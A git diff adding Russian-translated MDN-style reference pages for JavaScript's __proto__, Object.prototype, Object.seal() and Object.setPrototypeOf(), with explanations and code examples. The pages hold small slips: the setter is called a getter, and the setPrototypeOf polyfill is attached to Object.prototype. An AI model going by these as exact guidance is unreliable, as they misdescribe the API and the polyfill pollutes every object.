+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Геттер свойства <code>__proto__</code> расширяет значение внутреннего прототипа <code>[[Prototype]]</code> объекта. Для объектов, созданных с использованием литеральной формы создания объекта, это значение равно {{jsxref("Object.prototype")}}. Для функций это значение равно {{jsxref("Function.prototype")}}. Для объектов, созданных с использованием формы <code>new fun</code>, где <code>fun</code> является одной из встроенных функций-конструкторов, предоставляемых JavaScript ({{jsxref("Global_Objects/Array", "Array")}}, {{jsxref("Global_Objects/Boolean", "Boolean")}}, {{jsxref("Global_Objects/Date", "Date")}}, {{jsxref("Global_Objects/Number", "Number")}}, {{jsxref("Global_Objects/Object", "Object")}}, {{jsxref("Global_Objects/String", "String")}} и так далее — включая новые конструкторы, добавленные в процессе развития JavaScript), это значение равно <code>fun.prototype</code>. Для объектов, созданных с использованием формы <code>new fun</code>, где <code>fun</code> является функцией, определённой в скрипте, это значение равно значению <code>fun.prototype</code> во время вычисления <code>new fun</code>. Именно поэтому при присваивании <code>fun.prototype</code> нового значения, ранее созданные экземпляры <code>fun</code> продолжат использовать предыдущее значение в качестве своего прототипа <code>[[Prototype]]</code>, а последующие вызовы <code>new fun</code> будут использовать вновь присвоенное значение в качестве своего прототипа <code>[[Prototype]]</code>.</p>
+
+<p>Геттер <code>__proto__</code> позволяет прототипу <code>[[Prototype]]</code> объекта быть изменяемым. Объект должен быть расширяемым в соответствии с {{jsxref("Object.isExtensible()")}}: если это не так, выкидывается исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}. Предоставляемое значение должно быть объектом или {{jsxref("Global_Objects/null", "null")}}. Предоставление любого другого значения ничего не даст.</p>
+
+<p>Для понимания того, как прототипы используются для наследования, смотрите статью руководства <a href="/ru/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">«Наследование и цепочки прототипов»</a>.</p>
+
+<p>Свойство <code>__proto__</code> является простым свойством доступа на объекте {{jsxref("Object.prototype")}} — свойством, состоящим из геттера и сеттера. Свойство <code>__proto__</code> будет найдено, если, в конечном итоге, его поиск пройдёт через {{jsxref("Object.prototype")}}, но при доступе к нему не через {{jsxref("Object.prototype")}}, оно найдено не будет. Если перед просмотром {{jsxref("Object.prototype")}} буден найдено какое-нибудь другое свойство <code>__proto__</code>, оно скроет искомое свойство {{jsxref("Object.prototype")}}.</p>
+
+<pre class="brush: js">var noProto = Object.create(null);
+
+console.log(typeof noProto.__proto__); // undefined
+console.log(Object.getPrototypeOf(noProto)); // null
+
+noProto.__proto__ = 17;
+
+console.log(noProto.__proto__); // 17
+console.log(Object.getPrototypeOf(noProto)); // null
+
+var protoHidden = {};
+Object.defineProperty(protoHidden, '__proto__',
+                      { value: 42, writable: true, configurable: true, enumerable: true });
+
+console.log(protoHidden.__proto__); // 42
+console.log(Object.getPrototypeOf(protoHidden) === Object.prototype); // true
+</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<p>В следующем примере создаётся новый экземпляр <code>Employee</code>, а затем проверяется, что его свойство <code>__proto__</code> является тем же самым объектом, что и его конструктор <code>prototype</code>.</p>
+
+<pre class="brush: js">// Декларируем функцию, используемую как конструктор
+function Employee() {
+  /* инициализируем экземпляр */
+}
+
+// Создаём новый экземпляр Employee
+var fred = new Employee();
+
+// Проверка на эквивалентность
+fred.__proto__ === Employee.prototype; // true
+</pre>
+
+<p>В этот момент <code>fred</code> унаследован от <code>Employee</code>, однако присваивание другого объекта в <code>fred.__proto__</code> может изменить это:</p>
+
+<pre class="brush: js">function Cow() {
+  /* инициализируем экземпляр */
+}
+
+// Присваиваем __proto__ новый объект
+fred.__proto__ = Cow.prototype;
+</pre>
+
+<p>Теперь <code>fred</code> наследуется непосредственно от <code>Cow.prototype</code>, а не от <code>Employee.prototype</code>, и теряет свойства, изначально унаследованные от <code>Employee.prototype</code>.</p>
+
+<p>Однако, это применяется только к {{jsxref("Object.isExtensible()", "расширяемым", "", 1)}} объектам, у нерасширяемых объектов свойство <code>__proto__</code> не может быть изменено:</p>
+
+<pre class="brush: js">var obj = {};
+Object.preventExtensions(obj);
+
+obj.__proto__ = {}; // выкинет TypeError
+</pre>
+
+<p>Обратите внимание, что свойство <code>__proto__</code> может быть переопределено даже у объекта <code>Object.prototype</code>, если новая цепочка заканчивается {{jsxref("Global_Objects/null", "null")}}:</p>
+
+<pre class="brush: js">var b = {};
+
+Object.prototype.__proto__ =
+  Object.create(null, // [[Prototype]]
+                { hi: { value: function() { alert('hi'); } } });
+
+b.hi();
+</pre>
+
+<p>Если свойство <code>__proto__</code> объекта {{jsxref("Object.prototype")}} не установлено в {{jsxref("Global_Objects/null", "null")}}, или в другой объект, чья цепочка прототипов, в конечном итоге, явно не заканчивается значением {{jsxref("Global_Objects/null", "null")}}, будет выкинуто исключение {{jsxref("Global_Objects/TypeError", "TypeError")}} «циклическое значение __proto__», поскольку цепочка должна заканчиваться {{jsxref("Global_Objects/null", "null")}} (как это и происходит на {{jsxref("Object.prototype")}} при нормальных обстоятельствах).</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-additional-properties-of-the-object.prototype-object', 'Object.prototype.__proto__')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Включён в (нормативное) приложение для дополнительных возможностей ECMAScript для веб-браузеров (обратите внимание, что спецификация закрепляет то, что уже реализовано).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div class="note">
+<p><strong>Примечание:</strong> спецификация ES6 требует поддержку свойства <code>__proto__</code> только в браузерах и не требует его поддержку в других окружениях (хотя оно и рекомендуется в качестве обязательного). Если ваш код должен работать в не-браузерных окружениях, вместо свойства рекомендуется использовать методы {{jsxref("Object.getPrototypeOf()")}} и {{jsxref("Object.setPrototypeOf()")}}.</p>
+</div>
+
+<div>{{Compat("javascript.builtins.Object.proto")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/prototype/index.html b/files/ru/web/javascript/reference/global_objects/object/prototype/index.html
new file mode 100644
index 0000000000..2a93da56b5
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/prototype/index.html
@@ -0,0 +1,204 @@
+---
+title: Object.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Object/prototype
+tags:
+  - JavaScript
+  - Object
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Свойство <code><strong>Object.prototype</strong></code> представляет объект прототипа {{jsxref("Global_Objects/Object", "Object")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Все объекты в JavaScript являются потомками {{jsxref("Global_Objects/Object", "Object")}}; все объекты наследуют методы и свойства из прототипа объекта <code>Object.prototype</code>, хотя они и могут быть переопределены (за исключением объекта <code>Object</code> с прототипом <code>null</code>, то есть, созданным вызовом <code>Object.create(null)</code>). Например, прототипы других конструкторов переопределяют свойство <code>constructor</code> и предоставляют свои собственные методы {{jsxref("Object.prototype.toString()", "toString()")}}. Изменения в объекте прототипа {{jsxref("Global_Objects/Object", "Object")}} распространяются на все объекты до тех пор, пока свойства и методы, учитывающие эти изменения, не переопределяются дальше по цепочке прототипов.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{jsxref("Object.prototype.constructor")}}</dt>
+ <dd>Определяет функцию, создающую прототип объекта.</dd>
+ <dt>{{jsxref("Object.proto", "Object.prototype.__proto__")}} {{non-standard_inline}}</dt>
+ <dd>Указывает на объект, который использовался в качестве прототипа при инстанцировании объекта.</dd>
+ <dt>{{jsxref("Object.noSuchMethod", "Object.prototype.__noSuchMethod__")}} {{non-standard_inline}}</dt>
+ <dd>Позволяет определить функцию, выполняющуюся при вызове в качестве метода неопределённого члена объекта.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.count", "Object.prototype.__count__")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Использовалось для возврата количества перечисляемых свойств, определённых напрямую на пользовательском объекте, но было удалено.</s></dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.parent", "Object.prototype.__parent__")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Использовалось для указания контекста объекта, но было удалено.</s></dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("Object.defineGetter", "Object.prototype.__defineGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Ассоциирует функцию со свойством, которое, при доступе к нему, выполняет эту функцию и возвращает её возвращаемое значение.</dd>
+ <dt>{{jsxref("Object.defineSetter", "Object.prototype.__defineSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Ассоциирует функцию со свойством, которое, при его установке, выполняет эту функцию, изменяющую свойство.</dd>
+ <dt>{{jsxref("Object.lookupGetter", "Object.prototype.__lookupGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Возвращает функцию, ассоциированную с указанным свойством методом {{jsxref("Object.defineGetter", "__defineGetter__")}}.</dd>
+ <dt>{{jsxref("Object.lookupSetter", "Object.prototype.__lookupSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Возвращает функцию, ассоциированную с указанным свойством методом {{jsxref("Object.defineSetter", "__defineSetter__")}}.</dd>
+ <dt>{{jsxref("Object.prototype.hasOwnProperty()")}}</dt>
+ <dd>Возвращает логическое значение, указывающее, содержит ли указанное свойство непосредственно объект, или он унаследовал его по цепочке прототипов.</dd>
+ <dt>{{jsxref("Object.prototype.isPrototypeOf()")}}</dt>
+ <dd>Возвращает логическое значение, указывающее, состоит ли указанный объект в цепочке прототипов объекта, на котором был вызван данный метод.</dd>
+ <dt>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</dt>
+ <dd>Возвращает логическое значение, указывающее, установлен ли внутренний <a href="/ru/docs/ECMAScript_DontEnum_attribute">атрибут ECMAScript DontEnum</a>.</dd>
+ <dt>{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает строку, содержащую исходный код объекта в литеральной форме, представляющего объект, на котором был вызван данный метод; вы можете использовать это значение для создания нового объекта.</dd>
+ <dt>{{jsxref("Object.prototype.toLocaleString()")}}</dt>
+ <dd>Вызывает {{jsxref("Object.toString", "toString()")}}.</dd>
+ <dt>{{jsxref("Object.prototype.toString()")}}</dt>
+ <dd>Возвращает строковое представление объекта.</dd>
+ <dt>{{jsxref("Object.prototype.unwatch()")}} {{non-standard_inline}}</dt>
+ <dd>Удаляет точку наблюдения (watchpoint) со свойства объекта.</dd>
+ <dt>{{jsxref("Object.prototype.valueOf()")}}</dt>
+ <dd>Возвращает значение примитива указанного объекта.</dd>
+ <dt>{{jsxref("Object.prototype.watch()")}} {{non-standard_inline}}</dt>
+ <dd>Добавляет точку наблюдения (watchpoint) к свойству объекта.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.eval()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Использовался для вычисления строки с JavaScript-кодом в контексте указанного объекта, но был удалён.</s></dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<p>Поскольку Javascript, строго говоря, не имеет объекты подклассов, прототип является полезным обходным путём создания объекта «базового класса» из определённых функций, которые выступают в роли объектов. Например:</p>
+
+<pre class="brush: js">var Person = function(name) {
+    this.name = name;
+    this.canTalk = true;
+    this.greet = function() {
+        if (this.canTalk) {
+            console.log('Привет, я ' + this.name);
+        }
+    };
+};
+
+var Employee = function(name, title) {
+    this.name = name;
+    this.title = title;
+    this.greet = function() {
+        if (this.canTalk) {
+            console.log('Привет, я ' + this.name + ', ' + this.title);
+        }
+    };
+};
+Employee.prototype = new Person();
+
+var Customer = function(name) {
+    this.name = name;
+};
+Customer.prototype = new Person();
+
+var Mime = function(name) {
+    this.name = name;
+    this.canTalk = false;
+};
+Mime.prototype = new Person();
+
+var bob = new Employee('Боб', 'Строитель');
+var joe = new Customer('Джо');
+var rg = new Employee('Ред Грин', 'Разнорабочий');
+var mike = new Customer('Майк');
+var mime = new Mime('Мим');
+bob.greet();
+joe.greet();
+rg.greet();
+mike.greet();
+mime.greet();
+</pre>
+
+<p>Вывод будет следующим:</p>
+
+<pre class="brush: js">Привет, я Боб, Строитель
+Привет, я Джо
+Привет, я Ред Грин, Разнорабочий
+Привет, я Майк
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.1', 'Object.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype', 'Object.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/javascript/reference/global_objects/object/seal/index.html b/files/ru/web/javascript/reference/global_objects/object/seal/index.html
new file mode 100644
index 0000000000..6514429ca6
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/seal/index.html
@@ -0,0 +1,119 @@
+---
+title: Object.seal()
+slug: Web/JavaScript/Reference/Global_Objects/Object/seal
+tags:
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Method
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/seal
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<p>Метод <strong><code>Object.seal()</code></strong> запечатывает объект, предотвращая добавление новых свойств к объекту и делая все существующие свойства не настраиваемыми. Значения представленных свойств всё ещё могут изменяться, поскольку они остаются записываемыми.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Object.seal(<var>obj</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Запечатываемый объект.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>По умолчанию, объекты являются {{jsxref("Object.isExtensible()", "расширяемыми", "", 1)}} (к ним могут добавляться новые свойства). Запечатывание объекта предотвращает добавление к нему новых свойств и делает все существующие свойства не настраиваемыми. Оно делает все свойства объекта фиксированными и неизменными. Пометка всех свойств объекта как не настраиваемых также предотвращает их преобразование из свойств данных в свойства доступа и наоборот, но не предотвращает изменение значения свойств данных. Попытки удаления или добавления свойств к запечатанному объекту, либо преобразования свойств данных в свойства доступа и наоборот, будут терпеть неудачу, либо молча, либо с выбрасыванием исключения {{jsxref("Global_Objects/TypeError", "TypeError")}} (как правило, но не обязательно, это происходит в {{jsxref("Strict_mode", "строгом режиме", "", 1)}}).</p>
+
+<p>Цепочка прототипов не затрагивается. Однако, свойство {{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}} также запечатыватся.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">var obj = {
+  prop: function() {},
+  foo: 'bar'
+};
+
+// Новые свойства могу быть добавлены, существующие свойства могут быть изменены или удалены.
+obj.foo = 'baz';
+obj.lumpy = 'woof';
+delete obj.prop;
+
+var o = Object.seal(obj);
+
+assert(o === obj);
+assert(Object.isSealed(obj) === true);
+
+// Изменение значений свойств на запечатанном объекте всё ещё работает.
+obj.foo = 'quux';
+
+// Но вы не можете преобразовать свойства данных в свойства доступа и наоборот.
+Object.defineProperty(obj, 'foo', { get: function() { return 'g'; } }); // выбросит TypeError
+
+// Теперь любые изменения, кроме изменения значений свойств, не будут работать.
+obj.quaxxor = 'дружелюбная утка'; // молча не добавит свойство
+delete obj.foo; // молча не удалит свойство
+
+// ...а в строгом режиме такие попытки будут выбрасывать исключения TypeError.
+function fail() {
+  'use strict';
+  delete obj.foo; // выбросит TypeError
+  obj.sparky = 'arf'; // выбросит TypeError
+}
+fail();
+
+// Попытка добавить что-то через Object.defineProperty также выбросит исключение.
+Object.defineProperty(obj, 'ohai', { value: 17 }); // выбросит TypeError
+Object.defineProperty(obj, 'foo', { value: 'eit' }); // изменяем значение существующего свойства
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>В ES5, если аргумент метода не является объектом (является примитивным значением), будет выброшено исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}. В ES6 такой аргумент будет рассматриваться, как простой запечатанный объект и метод его просто вернёт.</p>
+
+<pre class="brush: js">&gt; Object.seal(1)
+TypeError: 1 is not an object // код ES5
+
+&gt; Object.seal(1)
+1                             // код ES6
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.8', 'Object.seal')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.seal', 'Object.seal')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.builtins.Object.seal")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/setprototypeof/index.html b/files/ru/web/javascript/reference/global_objects/object/setprototypeof/index.html
new file mode 100644
index 0000000000..2baf613db5
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/setprototypeof/index.html
@@ -0,0 +1,256 @@
+---
+title: Object.setPrototypeOf()
+slug: Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf
+tags:
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Method
+  - Object
+  - Reference
+  - Référence(2)
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<div class="warning">
+<p><strong>Предупреждение:</strong> Изменение прототипа <code>[[Prototype]]</code> объекта является, по самой природе оптимизации доступа к свойствам в современных движках JavaScript, очень медленной операцией, это справедливо для <strong><em>любого</em></strong> браузера и движка JavaScript. Изменение прототипов очень тонко и обширно влияет на производительность, причём это влияние не ограничивается просто временем, проведённым внутри метода <code>Object.setPrototypeOf()</code>, оно может распространяться на <strong><em>любой</em></strong> код, который имеет доступ к <strong><em>любому</em></strong> объекту, чей прототип <code>[[Prototype]]</code> был изменён. Если вы заботитесь о производительности, вы никогда не должны изменять прототип <code>[[Prototype]]</code> объекта. Вместо этого создайте объект с нужным прототипом <code>[[Prototype]]</code>, с помощью метода {{jsxref("Object.create()")}}.</p>
+</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Object.setPrototypeOf()</code></strong> устанавливает прототип (то есть, внутреннее свойство <code>[[Prototype]]</code>) указанного объекта в другой объект или {{jsxref("null")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Object.setPrototypeOf(<var>obj</var>, <var>prototype</var>);</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Объект, которому устанавливается прототип.</dd>
+ <dt><code>prototype</code></dt>
+ <dd>Новый прототип объекта (объект или {{jsxref("null")}}).</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Выкидывает исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}, если объект, чей прототип <code>[[Prototype]]</code> является не расширяемым, согласно методу {{jsxref("Object.isExtensible()")}}. Не делает ничего, если параметр <code>prototype</code> не является объектом или значением {{jsxref("null")}} (то есть, является числом, строкой, логическим значением или {{jsxref("undefined")}}). В противном случае метод устанавливает прототип <code>[[Prototype]]</code> объекта <code>obj</code> в новое значение.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">var dict = Object.setPrototypeOf({}, null);
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Используя старое свойство {{jsxref("Object.proto", "Object.prototype.__proto__")}}, мы можем легко определить <code>Object.setPrototypeOf()</code>, если он ещё не доступен:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">if</span><span class="function token"> </span><span class="punctuation token">(</span><span class="parameter token"><span class="operator token">!</span>Object<span class="punctuation token">.</span>setPrototypeOf</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="class-name token"> Object</span><span class="punctuation token">.</span>prototype<span class="punctuation token">.</span><span class="function function-variable token">setPrototypeOf </span><span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">obj<span class="punctuation token">,</span> proto</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+         <span class="keyword token">if</span><span class="punctuation token">(</span>obj<span class="punctuation token">.</span>__proto__<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+             obj<span class="punctuation token">.</span>__proto__ <span class="operator token">=</span> proto<span class="punctuation token">;</span>
+             <span class="keyword token">return</span> obj<span class="punctuation token">;</span>
+         <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+             <span class="comment token">// Если нужно будет определить прототип у Object.create(null) объекта</span>
+             <span class="function function-variable token">var Fn </span><span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+                 <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> key <span class="keyword token">in</span> obj<span class="punctuation token">)</span> <span class="punctuation token">{ //Если в объект уже были определены некоторые свойства</span>
+                     Object<span class="punctuation token">.</span><span class="function token">defineProperty</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">,</span> key<span class="punctuation token">,</span> <span class="punctuation token">{</span>
+                         value<span class="punctuation token">:</span> obj<span class="punctuation token">[</span>key<span class="punctuation token">]</span><span class="punctuation token">,</span>
+                     <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+                 <span class="punctuation token">}</span>
+             <span class="punctuation token">}</span><span class="punctuation token">;</span>
+             <span class="class-name token">Fn</span><span class="punctuation token">.</span>prototype <span class="operator token">=</span> proto<span class="punctuation token">;</span>
+             <span class="keyword token">return</span> <span class="keyword token">new</span> <span class="class-name token">Fn</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+         <span class="punctuation token">}</span>
+     <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Appending_Prototype_Chains" name="Appending_Prototype_Chains">Добавление цепочки прототипов</h2>
+
+<p>Сочетание метода <code>Object.getPrototypeOf()</code> и свойства {{jsxref("Object.proto", "Object.prototype.__proto__")}} позволяет добавить целую цепочку прототипов к новому прототипу объекта:</p>
+
+<pre class="brush: js">/**
+*** Object.appendChain(@object, @prototype)
+*
+* Присоединяет первый неродной прототип цепочки к новому прототипу.
+* Возвращает @object (если он был примитивным значением, оно будет преобразовано в объект).
+*
+*** Object.appendChain(@object [, "@arg_name_1", "@arg_name_2", "@arg_name_3", "..."], "@function_body")
+*** Object.appendChain(@object [, "@arg_name_1, @arg_name_2, @arg_name_3, ..."], "@function_body")
+*
+* Присоединяет первый не родной прототип цепочки к родному объекту Function.prototype, затем присоединяет
+* new Function(["@arg"(s)], "@function_body") к этой цепочке.
+* Возвращает функцию.
+*
+**/
+
+Object.appendChain = function(oChain, oProto) {
+  if (arguments.length &lt; 2) {
+    throw new TypeError('Object.appendChain - Not enough arguments');
+  }
+  if (typeof oProto === 'number' || typeof oProto === 'boolean') {
+    throw new TypeError('second argument to Object.appendChain must be an object or a string');
+  }
+
+  var oNewProto = oProto,
+      oReturn = o2nd = oLast = oChain instanceof this ? oChain : new oChain.constructor(oChain);
+
+  for (var o1st = this.getPrototypeOf(o2nd);
+    o1st !== Object.prototype &amp;&amp; o1st !== Function.prototype;
+    o1st = this.getPrototypeOf(o2nd)
+  ) {
+    o2nd = o1st;
+  }
+
+  if (oProto.constructor === String) {
+    oNewProto = Function.prototype;
+    oReturn = Function.apply(null, Array.prototype.slice.call(arguments, 1));
+    this.setPrototypeOf(oReturn, oLast);
+  }
+
+  this.setPrototypeOf(o2nd, oNewProto);
+  return oReturn;
+}
+</pre>
+
+<h3 id="Usage" name="Usage">Использование</h3>
+
+<h4 id="First_example.3A_Appending_a_chain_to_a_prototype" name="First_example.3A_Appending_a_chain_to_a_prototype">Первый пример: присоединение цепочки к прототипу</h4>
+
+<pre class="brush: js">function Mammal() {
+  this.isMammal = 'да';
+}
+
+function MammalSpecies(sMammalSpecies) {
+  this.species = sMammalSpecies;
+}
+
+MammalSpecies.prototype = new Mammal();
+MammalSpecies.prototype.constructor = MammalSpecies;
+
+var oCat = new MammalSpecies('Felis');
+
+alert(oCat.isMammal); // 'да'
+
+function Animal() {
+  this.breathing = 'да';
+}
+
+Object.appendChain(oCat, new Animal());
+
+alert(oCat.breathing); // 'да'
+</pre>
+
+<h4 id="Second_example.3A_Transforming_a_primitive_value_into_an_instance_of_its_constructor_and_append_its_chain_to_a_prototype" name="Second_example.3A_Transforming_a_primitive_value_into_an_instance_of_its_constructor_and_append_its_chain_to_a_prototype">Второй пример: преобразование примитивного значения в экземпляр его конструктора и присоединение его цепочки к прототипу</h4>
+
+<pre class="brush: js">function Symbol() {
+  this.isSymbol = 'да';
+}
+
+var nPrime = 17;
+
+alert(typeof nPrime); // 'number'
+
+var oPrime = Object.appendChain(nPrime, new Symbol());
+
+alert(oPrime); // '17'
+alert(oPrime.isSymbol); // 'да'
+alert(typeof oPrime); // 'object'
+</pre>
+
+<h4 id="Third_example.3A_Appending_a_chain_to_the_Function.prototype_object_and_appending_a_new_function_to_that_chain" name="Third_example.3A_Appending_a_chain_to_the_Function.prototype_object_and_appending_a_new_function_to_that_chain">Третий пример: присоединение цепочки к объекту <code>Function.prototype</code> и новой функции к этой цепочке</h4>
+
+<pre class="brush: js">function Person(sName) {
+  this.identity = sName;
+}
+
+var george = Object.appendChain(new Person('Георг'),
+                                'alert("Привет, парни!!");');
+
+alert(george.identity); // 'Георг'
+george(); // 'Привет, парни!!'
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.setprototypeof', 'Object.setProtoypeOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
